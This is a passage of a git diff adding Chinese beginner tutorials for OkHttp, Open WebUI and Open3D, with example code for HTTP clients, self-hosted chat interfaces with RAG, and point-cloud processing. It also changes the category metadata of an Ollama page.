+- **OkHttp** 就是给 App 用的「专业快递员」：自带**车队调度**（连接池）、**拼车规则**（HTTP/2 多路复用）、**备用路线**（多 IP / IPv6 快速回退）、**冷藏箱**（响应缓存）。你只填一张「运单」（`Request`），它负责把「包裹」（`Response`）送到你手上。
+
+最小同步 GET 长这样：
+
+```java
+OkHttpClient client = new OkHttpClient();
+
+Request request = new Request.Builder()
+    .url("https://api.github.com/repos/square/okhttp")
+    .build();
+
+try (Response response = client.newCall(request).execute()) {
+  if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);
+  System.out.println(response.body().string());
+}
+```
+
+四行核心逻辑 = 一次完整 HTTP 往返。OkHttp 默认已开启连接复用、GZIP 解压、现代 TLS；你不必像手写 `HttpURLConnection` 那样到处设 Header 和流。
+
+项目 2012 年由 Square 开源，GitHub [square/okhttp](https://github.com/square/okhttp) 累计数万 star；当前主线为 **OkHttp 5.x**（Kotlin Multiplatform，JVM/Android 通用），是 Android 官方网络栈推荐之一，也是 Retrofit、Picasso 等库的底层传输层。
+
+## 为什么重要
+
+零基础学移动端或 JVM 后端网络，绕不开 OkHttp，因为：
+
+- **Android 生态事实标准**：系统 `HttpURLConnection` 难用、行为碎片化；OkHttp 统一了超时、重试、HTTP/2、证书校验
+- **Retrofit 的引擎**：声明式 API 在 Retrofit，真正建连、读写 socket 在 OkHttp——改超时、加 Token、打日志都在 `OkHttpClient` 配置
+- **性能是默认项**：连接池 + HTTP/2 多路复用，对同一 host 的多次请求往往共用一条 TCP，延迟和耗电都更低
+- **可测试**：官方提供 **MockWebServer**，本地起假 HTTP 服务，不依赖外网就能测客户端逻辑
+- **生产级韧性**：多 IP 重试、TLS 协商失败换路线、Happy Eyeballs 式并发连接（5.0+ fast fallback）
+
+## 核心概念
+
+### 1. 不可变 Request / Response + Builder
+
+OkHttp 的 `Request` 和 `Response` 对象**创建后不可变**。要改 URL、Header、Method，用 `Request.Builder` 链式调用：
+
+```kotlin
+val request = Request.Builder()
+    .url("https://httpbin.org/post")
+    .header("User-Agent", "OkHttp Study Note")
+    .post("""{"name":"demo"}""".toRequestBody("application/json".toMediaType()))
+    .build()
+```
+
+好处：同一份 `Request` 可以安全地传给拦截器、日志、重试逻辑，不会出现「半路被改掉」的竞态。`Response.body()` 只能读一次（字节流消费型），重复读要用 `peekBody()` 或在拦截器里缓存。
+
+### 2. OkHttpClient：共享的单例「车队总部」
+
+官方强烈建议：**整个应用只建一个（或少量）`OkHttpClient` 实例并复用**。每个 client 自带：
+
+| 组件 | 作用 |
+|------|------|
+| **ConnectionPool** | 空闲 TCP 连接复用，减少握手 |
+| **Dispatcher** | 异步请求的线程池与并发上限 |
+| **Cache** | 可选磁盘 HTTP 缓存（需配置 `Cache` 目录） |
+| **Interceptor 列表** | 应用层 / 网络层拦截器链 |
+
+用 `client.newBuilder()` 可以基于共享实例派生「只改超时」的临时 client，**连接池仍然共享**：
+
+```kotlin
+val quickClient = client.newBuilder()
+    .readTimeout(500, TimeUnit.MILLISECONDS)
+    .build()
+```
+
+### 3. Call：一次 HTTP 事务的句柄
+
+`client.newCall(request)` 得到 `Call`，代表**尚未完成或正在进行**的一次请求。两种执行方式：
+
+- **同步**：`call.execute()` 阻塞当前线程直到响应或异常
+- **异步**：`call.enqueue(Callback)` 在 OkHttp 线程池回调 `onResponse` / `onFailure`
+
+`Call` 可 `cancel()`——用户离开页面时取消无用请求，避免浪费流量和回调崩溃。
+
+### 4. 连接模型：URL → Address → Route → Connection
+
+OkHttp 内部用三层描述「怎么连上服务器」：
+
+1. **URL**：你写的 `https://api.example.com/v1/users`
+2. **Address**：host + 端口 + TLS 配置 + 协议偏好（静态）
+3. **Route**：DNS 得到的具体 IP、代理、TLS 版本（动态）
+
+同一 Address 的请求会尽量**复用 Connection**；HTTP/2 下多条请求可**共用一条 socket 多路复用**。连接空闲一段时间后从池中淘汰。理解这层有助于排查「为什么第一次慢、后面快」——第一次要 DNS + TCP + TLS，后面走池化连接。
+
+### 5. Interceptor：请求/响应流水线
+
+拦截器是 OkHttp 最强大的扩展点，像**快递分拣中心的关卡**：可以打日志、改 Header、加签名、重试、短路返回 Mock。
+
+分两类：
+
+| 类型 | 注册方式 | 特点 |
+|------|----------|------|
+| **Application Interceptor** | `addInterceptor()` | 不关心重定向/重试中间态；缓存命中也会走；适合鉴权、业务日志 |
+| **Network Interceptor** | `addNetworkInterceptor()` | 看到真实网络上的请求；可访问 `Connection`；重定向会多次触发 |
+
+链上每一环必须调用 `chain.proceed(request)` 把请求交给下一环；可以改 request、改 response，也可以不调用 `proceed` 直接返回伪造响应（测试常用）。
+
+### 6. 默认自带的能力（不用你手写）
+
+- **HTTP/2** 与 **HTTP/1.1** 自动协商（ALPN）
+- **透明 GZIP**：自动加 `Accept-Encoding: gzip` 并解压
+- **重定向跟随**（可 `followRedirects(false)` 关闭）
+- **连接失败重试**（`retryOnConnectionFailure`，默认 true）
+- **证书固定（Certificate Pinning）**、**CookieJar**、**代理**、**DNS 自定义** 均可配置
+
+## 依赖与版本
+
+Gradle Kotlin DSL（推荐 BOM 统一版本，2026 年主线 5.4.x）：
+
+```kotlin
+dependencies {
+    implementation(platform("com.squareup.okhttp3:okhttp-bom:5.4.0"))
+    implementation("com.squareup.okhttp3:okhttp")
+    implementation("com.squareup.okhttp3:logging-interceptor") // 可选：官方日志拦截器
+    testImplementation("com.squareup.okhttp3:mockwebserver")   // 可选：单元测试假服务器
+}
+```
+
+要求：**Android API 21+** 或 **Java 8+**。OkHttp 5 为 Kotlin Multiplatform 项目；Maven 用户需选 `okhttp-jvm` 或 `okhttp-android` 而非空的 `okhttp` 聚合坐标。
+
+## 实践案例
+
+### 案例 1：Kotlin 异步请求 + 日志拦截器
+
+适合 Android Activity / ViewModel：不阻塞主线程。
+
+```kotlin
+import okhttp3.*
+import okhttp3.logging.HttpLoggingInterceptor
+import java.io.IOException
+
+class GitHubReposFetcher {
+    private val client = OkHttpClient.Builder()
+        .addInterceptor(
+            HttpLoggingInterceptor().apply {
+                level = HttpLoggingInterceptor.Level.BASIC
+            }
+        )
+        .connectTimeout(10, TimeUnit.SECONDS)
+        .readTimeout(30, TimeUnit.SECONDS)
+        .build()
+
+    fun fetchRepoJson(owner: String, repo: String, onResult: (String?) -> Unit) {
+        val request = Request.Builder()
+            .url("https://api.github.com/repos/$owner/$repo")
+            .header("Accept", "application/vnd.github+json")
+            .build()
+
+        client.newCall(request).enqueue(object : Callback {
+            override fun onFailure(call: Call, e: IOException) {
+                onResult(null)
+            }
+
+            override fun onResponse(call: Call, response: Response) {
+                response.use {
+                    if (!it.isSuccessful) {
+                        onResult(null)
+                        return
+                    }
+                    onResult(it.body?.string())
+                }
+            }
+        })
+    }
+}
+```
+
+要点：
+
+- `enqueue` 回调在 OkHttp 线程池执行，更新 UI 需切回主线程
+- `response.use { }` 确保 body 和连接资源释放
+- `HttpLoggingInterceptor.Level.BODY` 会打印请求/响应体，生产环境慎用（泄露 Token）
+
+### 案例 2：自定义拦截器统一加 Authorization + MockWebServer 测试
+
+业务上常见模式：Token 放在拦截器，API 层只关心 URL。
+
+```kotlin
+import okhttp3.Interceptor
+import okhttp3.OkHttpClient
+import okhttp3.Request
+import okhttp3.mockwebserver.MockResponse
+import okhttp3.mockwebserver.MockWebServer
+import org.junit.jupiter.api.AfterEach
+import org.junit.jupiter.api.Assertions.assertEquals
+import org.junit.jupiter.api.BeforeEach
+import org.junit.jupiter.api.Test
+
+class AuthInterceptor(private val tokenProvider: () -> String?) : Interceptor {
+    override fun intercept(chain: Interceptor.Chain): okhttp3.Response {
+        val original = chain.request()
+        val token = tokenProvider() ?: return chain.proceed(original)
+
+        val authed = original.newBuilder()
+            .header("Authorization", "Bearer $token")
+            .build()
+        return chain.proceed(authed)
+    }
+}
+
+class ApiClientTest {
+    private lateinit var server: MockWebServer
+
+    @BeforeEach
+    fun setUp() {
+        server = MockWebServer()
+        server.start()
+    }
+
+    @AfterEach
+    fun tearDown() {
+        server.shutdown()
+    }
+
+    @Test
+    fun `interceptor adds bearer token`() {
+        server.enqueue(MockResponse().setBody("""{"ok":true}"""))
+
+        var capturedAuth: String? = null
+        server.dispatcher = object : okhttp3.mockwebserver.Dispatcher() {
+            override fun dispatch(request: okhttp3.mockwebserver.RecordedRequest): MockResponse {
+                capturedAuth = request.getHeader("Authorization")
+                return MockResponse().setBody("ok")
+            }
+        }
+
+        val client = OkHttpClient.Builder()
+            .addInterceptor(AuthInterceptor { "secret-token" })
+            .build()
+
+        val request = Request.Builder().url(server.url("/me")).build()
+        client.newCall(request).execute().close()
+
+        assertEquals("Bearer secret-token", capturedAuth)
+    }
+}
+```
+
+要点：
+
+- **MockWebServer** 在 JVM 测试里起真实 HTTP 监听端口，无需 Mockito 伪造 socket
+- Application Interceptor 在重定向之前执行，适合加鉴权 Header
+- 测试里 `execute()` 同步调用即可；Android Instrumentation 测试同样适用
+
+### 案例 3：响应缓存（减少重复下载）
+
+```kotlin
+val cacheSize = 10L * 1024 * 1024 // 10 MiB
+val cache = Cache(File(System.getProperty("java.io.tmpdir"), "okhttp-cache"), cacheSize)
+
+val client = OkHttpClient.Builder()
+    .cache(cache)
+    .build()
+
+// 第一次：走网络；若服务端 Cache-Control 允许，第二次可能 304 或直接读磁盘
+val response1 = client.newCall(request).execute()
+val response2 = client.newCall(request).execute()
+// response2.cacheResponse 非 null 表示命中缓存
+```
+
+缓存遵守 HTTP 语义（`Cache-Control`、`ETag`、`max-age`）；强行缓存一切需自定义 `CacheInterceptor` 或只用离线场景。
+
+## 同步 vs 异步怎么选
+
+| 场景 | 建议 |
+|------|------|
+| Android 主线程 | **禁止** `execute()`，用 `enqueue` 或 Kotlin 协程（`okhttp3` 协程扩展 / Retrofit `suspend`） |
+| JUnit 单元测试 | `execute()` 简单直接 |
+| 命令行工具、批处理脚本 | `execute()` |
+| 需要取消 | 保留 `Call` 引用，页面销毁时 `call.cancel()` |
+
+Kotlin 协程项目可加 `implementation("com.squareup.okhttp3:okhttp-coroutines")`，用 `suspend fun Call.await()` 风格包装。
+
+## 常见坑与最佳实践
+
+1. **不要每个请求 `new OkHttpClient()`**：浪费连接池和线程池；用单例或 DI 注入共享实例。
+2. **ResponseBody 只读一次**：在拦截器里若要「既打日志又给下游」，用 `peekBody` 或缓冲。
+3. **主线程网络**：`NetworkOnMainThreadException` 的根源；务必异步。
+4. **证书问题**：企业内网自签证书需自定义 `sslSocketFactory` / `TrustManager`；公网 App 优先考虑 **Certificate Pinning** 防中间人。
+5. **超时三层**：`connectTimeout`（建连）、`readTimeout`（等响应字节）、`writeTimeout`（发请求体）；另有 `callTimeout` 限制整次 Call 总时长。
+6. **和 Retrofit 分工**：OkHttp 管传输；Retrofit 管 interface 映射和 JSON 转换。改网络行为找 OkHttp，改 API 形状找 Retrofit。
+
+## 与相关技术的关系
+
+```text
+业务代码
+   ↓ 调用
+Retrofit interface（可选）
+   ↓ 生成 Request，委托
+OkHttpClient → Call → ConnectionPool → Socket/TLS
+   ↓
+MockWebServer（测试） / 真实服务器
+```
+
+- **[[retrofit]]**：在 OkHttp 之上加类型安全 API；换 JSON 库不必动 OkHttp
+- **Okio**：OkHttp 依赖的高性能 I/O 库；`ResponseBody` 底层是 Okio `BufferedSource`
+- **Cronet / URLSession**：平台原生栈的替代选型；OkHttp 优势在跨版本一致性与可测试性
+
+## 学习路径建议
+
+1. 用 `execute()` 写通同步 GET/POST，理解 `Request`/`Response` 生命周期
+2. 改成 `enqueue()` 或协程，理解线程与取消
+3. 加一个 `HttpLoggingInterceptor`，观察真实 Header 与 HTTP/2
+4. 写自定义 `Interceptor` 做鉴权或公共参数
+5. 用 MockWebServer 为网络层写单元测试
+6. 需要声明式 REST 时再上 Retrofit，并复用同一个 `OkHttpClient`
+
+## 官方资源
+
+- 文档：https://square.github.io/okhttp/
+- 食谱（Recipes）：同步/异步、缓存、超时、认证等可复制示例
+- 仓库：https://github.com/square/okhttp
+- 变更日志：关注 5.x 的 KMP 与 Java Module（`module-info`）说明
+
+## 小结
+
+OkHttp 是 JVM/Android 世界的**高效 HTTP 传输引擎**：连接池、HTTP/2、拦截器链、韧性重试都是默认或一等公民。零基础记住三句话——**共享一个 OkHttpClient**、**Request/Response 用 Builder 且 body 只读一次**、**扩展能力写在 Interceptor 里**。掌握它之后，无论是手写 REST、接 Retrofit，还是写可靠的网络测试，都有同一套扎实底座。
diff --git a/src/content/docs/projects/ollama.md b/src/content/docs/projects/ollama.md
index bc70cea77..52abc363a 100644
--- a/src/content/docs/projects/ollama.md
+++ b/src/content/docs/projects/ollama.md
@@ -2,7 +2,7 @@
 title: Ollama — 本地跑 LLM 的工具
 来源: https://github.com/ollama/ollama
 日期: 2026-05-29
-子分类: 模型与训练
+子分类: ai-infra
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/open-webui.md b/src/content/docs/projects/open-webui.md
new file mode 100644
index 000000000..6204ac3bf
--- /dev/null
+++ b/src/content/docs/projects/open-webui.md
@@ -0,0 +1,161 @@
+---
+title: Open WebUI — 在本地搭一个类似 ChatGPT 的网站
+来源: https://github.com/open-webui/open-webui
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Open WebUI 是一个**自己搭的 ChatGPT 界面**。日常类比：你每天用 ChatGPT 网站聊天，但那个网站是 OpenAI 的，你的对话数据存在他们那儿。Open WebUI 让你在自己的服务器上部署一个**长得几乎一样的聊天界面**，后端可以接 Ollama（本地模型）、接 OpenAI API、接任何兼容 OpenAI 格式的 API——数据完全留在自己手里。
+
+它最特别的地方是**开箱即用的 RAG（检索增强生成）**：你丢一份 PDF 进去，它自动切碎、向量化、存进向量数据库，然后你问相关问题时，它会先去那份 PDF 里找答案再回答。不需要写一行代码。
+
+## 为什么重要
+
+- ChatGPT 的对话存在 OpenAI 服务器，公司用不上（合规问题）；Open WebUI 让你**完全自托管**
+- 它不是简单的"前端壳"，而是自带模型管理、RAG、多模型对话、函数调用、插件系统的**完整平台**
+- 背后支持 Ollama + OpenAI API 双通吃，从"纯本地"到"接商业 API"无缝切换
+- GitHub 141k stars，是目前**最火的开源 LLM 前端项目**
+
+## 核心概念
+
+### 1. 模型后端（Model Backend）
+
+Open WebUI 本身**不跑模型**。它像一个"浏览器"，帮你跟后端的 LLM 服务对话。后端可以是：
+
+- **Ollama**：本地跑的模型，数据不出本机
+- **OpenAI API**：接 gpt-4 等模型
+- **任何 OpenAI-compatible API**：LMStudio、GroqCloud、Mistral、OpenRouter 等
+
+配置方式就是设环境变量。接 Ollama：
+
+```bash
+docker run -d -p 3000:8080 \
+  --add-host=host.docker.internal:host-gateway \
+  -v open-webui:/app/backend/data \
+  --name open-webui \
+  --restart always \
+  ghcr.io/open-webui/open-webui:main
+```
+
+接远程 Ollama 服务器：
+
+```bash
+docker run -d -p 3000:8080 \
+  -e OLLAMA_BASE_URL=https://my-server.example.com:11434 \
+  -v open-webui:/app/backend/data \
+  --name open-webui \
+  --restart always \
+  ghcr.io/open-webui/open-webui:main
+```
+
+### 2. RAG（检索增强生成）
+
+RAG 的本质是：**你问的问题，不在模型的训练数据里，那我先去你的文档里找答案，再回答**。
+
+Open WebUI 内置了这个能力。流程是：
+
+1. 上传 PDF/文档到聊天或文档库
+2. 系统自动切分文本、做 embedding、存入向量数据库
+3. 你提问时，系统先用向量搜索找到相关的文档片段
+4. 把这些片段作为上下文喂给 LLM，让它基于这些材料回答
+
+选 9 种向量数据库之一（ChromaDB、PGVector、Qdrant、Milvus、Elasticsearch 等）。配置示例：
+
+```yaml
+# docker-compose.yml 示例：Open WebUI + Qdrant 做 RAG
+services:
+  open-webui:
+    image: ghcr.io/open-webui/open-webui:main
+    ports:
+      - "3000:8080"
+    environment:
+      - WEBUI_SECRET_KEY=your-secret-key
+      - RAG_VECTOR_DB=qdrant
+      - QDRANT_URL=http://qdrant:6333
+    volumes:
+      - open-webui:/app/backend/data
+    depends_on:
+      - qdrant
+
+  qdrant:
+    image: qdrant/qdrant:latest
+    ports:
+      - "6333:6333"
+    volumes:
+      - qdrant_data:/qdrant/storage
+
+volumes:
+  open-webui:
+  qdrant_data:
+```
+
+### 3. Pipelines（插件系统）
+
+Pipelines 是 Open WebUI 的**插件框架**，用 Python 写。你可以注入自定义逻辑到对话流程中，比如：
+
+- 用户限流（每人每天最多 100 次对话）
+- 内容过滤（有毒消息自动拦截）
+- 实时翻译（用 LibreTranslate 做中英互译）
+- 用量监控（对接 Langfuse）
+
+基本结构：
+
+```python
+# example_pipeline.py
+from pipelines.interfaces import PipelineInterface
+
+class MyPipeline(PipelineInterface):
+    def __init__(self, client):
+        self.client = client
+
+    def ingest(self, messages):
+        # 对话发送前拦截，可以做任何处理
+        for message in messages:
+            if "敏感词" in message.get("content", ""):
+                message["content"] = "[已过滤]"
+        return messages
+
+    def stream(self, response):
+        # 模型返回时拦截，可以做二次处理
+        for chunk in response:
+            yield chunk
+```
+
+配置好 Pipelines 后，把 OpenAI 的 BASE_URL 指向 Pipelines 的地址，所有对话都会先过你的插件。
+
+### 4. Many Models（多模型对话）
+
+一个聊天窗口同时发给多个模型，对比它们的回答。比如同时发给 Llama 3、Mistral 和 GPT-4o，看同一个问题三个模型分别怎么答。适合做**模型质量对比**或**取最优回答**。
+
+## 安装方式一览
+
+| 方式 | 命令/步骤 | 适合场景 |
+|------|----------|---------|
+| Docker（最简单） | `docker run ... ghcr.io/open-webui/open-webui:main` | 个人试用 |
+| Docker + Ollama 一体化 | `ghcr.io/open-webui/open-webui:ollama` | 一台机器搞定，含模型 |
+| Docker + CUDA | 加 `--gpus all` + `:cuda` 镜像 | 有 NVIDIA 显卡 |
+| pip | `pip install open-webui` → `open-webui serve` | Python 开发环境 |
+| K8s | Helm / Kustomize | 生产部署 |
+
+访问地址：默认 `http://localhost:3000`
+
+## 关键特性速查
+
+- **RAG**：9 种向量数据库 + 多种文档解析引擎（Tika、Docling、PaddleOCR 等）
+- **Web 搜索**：15+ 搜索提供商，搜索结果直接注入对话
+- **网页抓取**：`# https://example.com` 把网页内容喂给模型
+- **语音/视频通话**：内置免费语音对话，支持本地 Whisper、OpenAI Whisper 等
+- **图片生成**：DALL-E、Gemini、ComfyUI（本地）、AUTOMATIC1111（本地）
+- **PWA 移动端**：手机上像原生 App 一样用
+- **RBAC**：管理员/普通用户的权限分级
+- **SCIM 2.0 + SSO**：对接 Okta、Azure AD、Google Workspace 等企业身份系统
+- **OpenTelemetry**：生产级监控，traces/metrics/logs 全支持
+- **多数据库后端**：SQLite（默认）、PostgreSQL、S3/GCS/Azure Blob 存储
+
+## 一句话总结
+
+Open WebUI 让你用**一行 Docker 命令**，搭出一个拥有 RAG、多模型、插件系统、企业级权限管理的**私有 ChatGPT 平台**，后端模型随意换，数据完全自己掌控。
diff --git a/src/content/docs/projects/open3d.md b/src/content/docs/projects/open3d.md
new file mode 100644
index 000000000..f6a6e7747
--- /dev/null
+++ b/src/content/docs/projects/open3d.md
@@ -0,0 +1,316 @@
+---
+title: Open3D — 现代点云与几何处理库
+description: C++ 内核 + Python 一等接口，点云/网格读写、体素下采样、法线估计、RANSAC 平面分割与 ICP 配准，激光雷达与 SLAM 工程默认工具
+来源: 'https://github.com/isl-org/Open3D'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Open3D** 是 Intel Visual Computing Lab 发起、现由社区维护的**开源 3D 数据处理库**：C++ 实现核心算法，**Python 绑定是一等公民**，同时覆盖点云（Point Cloud）、三角网格（Triangle Mesh）、体素网格（Voxel Grid）、RGB-D 图像与相机轨迹。源码托管于 [isl-org/Open3D](https://github.com/isl-org/Open3D)，采用 **MIT** 许可，GitHub star 约 12k+，在激光雷达、机器人 SLAM、三维重建与 NeRF 数据预处理管线里几乎是「默认选项」。
+
+日常类比：如果把三维场景想成一座**用沙子堆成的微缩城市**，Open3D 就是一套**城市测绘与修整工具箱**——
+
+- **点云**是城市里每一粒沙子的 GPS 坐标（可能还带颜色、强度）；
+- **三角网格**是把沙子凝固成带墙面的建筑外壳；
+- **体素下采样**像用粗筛子把过于密集的沙子合并成「街区级」分辨率；
+- **ICP 配准**是两份不同时刻拍的城市沙盘对齐叠合——先粗对齐，再逐粒沙子找最近邻微调。
+
+最小 Python 入口：
+
+```python
+import open3d as o3d
+
+pcd = o3d.io.read_point_cloud("room.ply")
+print(pcd)  # PointCloud with 12345 points.
+o3d.visualization.draw_geometries([pcd])
+```
+
+与 [[assimp]] 的分工：Assimp 擅长**读入带材质/骨骼的 3D 模型文件**；Open3D 擅长**几何算法与传感器数据**（PLY/PCD/XYZ、深度图融合、点云配准）。二者常在管线里串联——Assimp 导入 OBJ 转 mesh，Open3D 做 mesh 采样成点云再跑算法。
+
+## 为什么重要
+
+零基础接触 3D 感知或重建，绕不开 Open3D 的几个现实理由：
+
+- **Python 生态最顺手的 3D 几何库**：比 [[pcl]] 的 C++ 模板与编译依赖友好得多，`pip install open3d` 即可在 Jupyter 里交互可视化
+- **算法覆盖面广**：下采样、法线、聚类（DBSCAN）、平面/球面 RANSAC、Poisson 重建、ICP / Colored ICP、TSDF 融合——教程与论文复现默认用它
+- **双 API 并存**：经典 `o3d.geometry.*` 与基于 Tensor 的 `o3d.t.*`（GPU 加速、多尺度 ICP、鲁棒核）——新项目应优先查 Tensor 文档
+- **与深度学习衔接**：点云可转 `numpy` / `torch`；与 [[pytorch]] 3D 扩展（如 PyTorch3D）配合时，Open3D 常负责 I/O 与经典几何前处理
+- **内置可视化**：`draw_geometries` 或 `draw_plotly` 快速肉眼检查，不必先搭 [[blender]] 或 [[three-js]]
+
+## 核心要点
+
+Open3D 的心脏可以按「数据类型 → 处理管线 → 输出」理解。
+
+### 1. 三种核心几何类型
+
+| 类型 | Python 类 | 典型用途 |
+| --- | --- | --- |
+| 点云 `PointCloud` | `o3d.geometry.PointCloud` | LiDAR、RGB-D 反投影、SfM 稀疏点 |
+| 三角网格 `TriangleMesh` | `o3d.geometry.TriangleMesh` | 表面重建、碰撞体、纹理烘焙 |
+| 体素 `VoxelGrid` | `o3d.geometry.VoxelGrid` | 占用栅格、粗碰撞检测 |
+
+点云内部存 `points`（N×3）、可选 `colors`（N×3，0–1 浮点）、`normals`（N×3）。与 PCL 的 `pcl::PointCloud<T>` 类似，但 API 更扁平。
+
+### 2. 文件 I/O
+
+`o3d.io.read_point_cloud(path)` 按扩展名自动选解码器，支持 PLY、PCD、XYZ、PTS 等；`write_point_cloud` 对称导出。网格用 `read_triangle_mesh` / `write_triangle_mesh`（OBJ、STL、GLTF 等，具体列表见官方 File IO 文档）。
+
+内置示例数据（无需自备文件）：
+
+```python
+dataset = o3d.data.PLYPointCloud()
+pcd = o3d.io.read_point_cloud(dataset.path)
+```
+
+### 3. 可视化
+
+- `o3d.visualization.draw_geometries([geom, ...])` — 本地 OpenGL 窗口，鼠标旋转缩放
+- `o3d.visualization.draw_plotly([...])` — 浏览器内交互，适合 Notebook
+- 按键 `N` 可切换法线显示（需先 `estimate_normals`）
+
+### 4. 点云下采样与法线
+
+**体素下采样**（Voxel Downsample）：把落入同一立方体网格的点合并为一个代表点，是几乎所有点云管线的第一步——降点数、去噪、加速后续 KD-Tree 查询。
+
+**法线估计**：对每点找邻域，协方差分析得主方向；平面分割、Point-to-Plane ICP 都依赖法线。
+
+```python
+down = pcd.voxel_down_sample(voxel_size=0.05)
+down.estimate_normals(
+    search_param=o3d.geometry.KDTreeSearchParamHybrid(radius=0.1, max_nn=30)
+)
+```
+
+### 5. 平面分割（RANSAC）
+
+`segment_plane(distance_threshold, ransac_n, num_iterations)` 随机采样最小点集拟合平面 \(ax+by+cz+d=0\)，返回平面参数与**内点索引**。室内场景里墙/地/桌面检测的经典做法。
+
+### 6. 配准（ICP）
+
+**ICP**（Iterative Closest Point）：给定源点云与目标点云及粗初始位姿，迭代求 4×4 刚体变换使对应点距离最小。变体包括 Point-to-Point、Point-to-Plane、Colored ICP（利用颜色）、多尺度 ICP（先粗后细）。
+
+Tensor API 示例形态：
+
+```python
+import open3d as o3d
+
+result = o3d.pipelines.registration.registration_icp(
+    source, target, max_correspondence_distance=0.02,
+    init=np.eye(4),
+    estimation_method=o3d.pipelines.registration.TransformationEstimationPointToPlane(),
+)
+print(result.transformation, result.fitness)
+```
+
+新版 `o3d.t.pipelines.registration.icp` 支持 GPU、鲁棒核（Huber/Tukey）与 float64，适合大规模实时配准。
+
+### 7. 经典 API vs Tensor API
+
+| 维度 | `o3d.geometry` | `o3d.t.geometry` |
+| --- | --- | --- |
+| 后端 | CPU，numpy 友好 | `o3d.core.Tensor`，可 CUDA |
+| 学习曲线 | 教程多，入门默认 | 新特性优先落地处 |
+| 互转 | `o3d.t.geometry.PointCloud.from_legacy(pcd)` | `to_legacy()` 回退 |
+
+零基础先熟练 `geometry`；性能瓶颈或需要 Colored ICP / 多尺度时再迁 Tensor。
+
+### 8. 与 PCL 的对比
+
+[[pcl]] 是学术界「算法全集」，模块细、C++ 原生；Open3D **文档与 Python 体验更好**，可视化开箱即用，近年 Tensor 与重建管线更新更活跃。工业界新项目偏 Open3D；遗留 ROS 节点或论文代码仍常见 PCL。
+
+## 实践案例
+
+### 案例 1：读取 → 下采样 → 估法线 → 平面分割
+
+完整室内点云预处理闭环（假设已有 `scan.ply`）：
+
+```python
+import open3d as o3d
+import numpy as np
+
+pcd = o3d.io.read_point_cloud("scan.ply")
+print(f"raw points: {np.asarray(pcd.points).shape[0]}")
+
+# 1) 体素下采样
+pcd = pcd.voxel_down_sample(voxel_size=0.02)
+
+# 2) 统计离群点剔除（可选）
+pcd, _ = pcd.remove_statistical_outlier(nb_neighbors=20, std_ratio=2.0)
+
+# 3) 法线
+pcd.estimate_normals(
+    search_param=o3d.geometry.KDTreeSearchParamHybrid(radius=0.05, max_nn=30)
+)
+
+# 4) RANSAC 拟合最大平面（常为地面）
+plane_model, inliers = pcd.segment_plane(
+    distance_threshold=0.01,
+    ransac_n=3,
+    num_iterations=1000,
+)
+[a, b, c, d] = plane_model
+print(f"plane: {a:.3f}x + {b:.3f}y + {c:.3f}z + {d:.3f} = 0")
+print(f"inliers: {len(inliers)}")
+
+inlier_cloud = pcd.select_by_index(inliers)
+outlier_cloud = pcd.select_by_index(inliers, invert=True)
+
+o3d.visualization.draw_geometries(
+    [inlier_cloud.paint_uniform_color([1, 0, 0]),
+     outlier_cloud.paint_uniform_color([0.6, 0.6, 0.6])]
+)
+```
+
+`paint_uniform_color` 给点云临时上色便于区分；`select_by_index` 按索引拆子集。
+
+### 案例 2：两帧点云 ICP 配准
+
+模拟「第二帧扫描」：复制点云并施加已知变换，再用 ICP 找回：
+
+```python
+import copy
+import numpy as np
+import open3d as o3d
+
+source = o3d.io.read_point_cloud("frame0.pcd")
+target = copy.deepcopy(source)
+
+# 人为错位：绕 Z 转 15°，平移 (0.1, 0.05, 0)
+theta = np.deg2rad(15)
+c, s = np.cos(theta), np.sin(theta)
+T_gt = np.eye(4)
+T_gt[:3, :3] = [[c, -s, 0], [s, c, 0], [0, 0, 1]]
+T_gt[:3, 3] = [0.1, 0.05, 0]
+target.transform(T_gt)
+
+source_down = source.voxel_down_sample(0.05)
+target_down = target.voxel_down_sample(0.05)
+source_down.estimate_normals(
+    search_param=o3d.geometry.KDTreeSearchParamHybrid(radius=0.1, max_nn=30))
+target_down.estimate_normals(
+    search_param=o3d.geometry.KDTreeSearchParamHybrid(radius=0.1, max_nn=30))
+
+reg = o3d.pipelines.registration.registration_icp(
+    source_down, target_down,
+    max_correspondence_distance=0.08,
+    init=np.eye(4),
+    estimation_method=o3d.pipelines.registration.TransformationEstimationPointToPlane(),
+    criteria=o3d.pipelines.registration.ICPConvergenceCriteria(max_iteration=50),
+)
+
+print("ground truth:\n", T_gt)
+print("estimated:\n", reg.transformation)
+print("fitness:", reg.fitness, "rmse:", reg.inlier_rmse)
+
+source.paint_uniform_color([1, 0.7, 0])
+target.paint_uniform_color([0, 0.65, 1])
+source.transform(reg.transformation)
+o3d.visualization.draw_geometries([source, target])
+```
+
+`fitness` 表示内点比例，`inlier_rmse` 是配准残差——调 `max_correspondence_distance` 与 `voxel_size` 是 ICP 调参核心。
+
+### 案例 3：网格采样为点云并估计包围盒
+
+从三角网格均匀采样点，用于碰撞检测或神经网络输入：
+
+```python
+import open3d as o3d
+
+mesh = o3d.io.read_triangle_mesh("bunny.obj")
+mesh.compute_vertex_normals()
+
+pcd = mesh.sample_points_uniformly(number_of_points=100_000)
+aabb = pcd.get_axis_aligned_bounding_box()
+obb = pcd.get_oriented_bounding_box()
+
+print("AABB extent:", aabb.get_extent())
+o3d.visualization.draw_geometries([pcd, obb])
+```
+
+`sample_points_poisson_disk` 可得更均匀分布；`compute_convex_hull` 从点云算凸包网格。
+
+## 安装与环境
+
+```bash
+# CPU 版（多数笔记本足够）
+pip install open3d
+
+# 验证
+python -c "import open3d as o3d; print(o3d.__version__)"
+```
+
+Conda、Docker 与从源码编译（CUDA 模块）见 [Open3D 官方构建文档](http://www.open3d.org/docs/release/getting_started.html)。Apple Silicon 请装与 Python 版本匹配的 wheel；过旧 Python（3.6）已不再支持。
+
+## 踩过的坑
+
+1. **坐标系不一致**：相机光学系（Z 向前）与机器人 base_link（Z 向上）不同，多传感器融合前必须统一变换矩阵。
+
+2. **忘记下采样就跑 ICP**：百万点全分辨率 ICP 极慢且易陷局部最优；先 `voxel_down_sample` 再配准是惯例。
+
+3. **法线方向混乱**：`orient_normals_consistent_tangent_plane` 或朝向相机位置 `orient_normals_towards_camera_location` 可避免 Point-to-Plane ICP 发散。
+
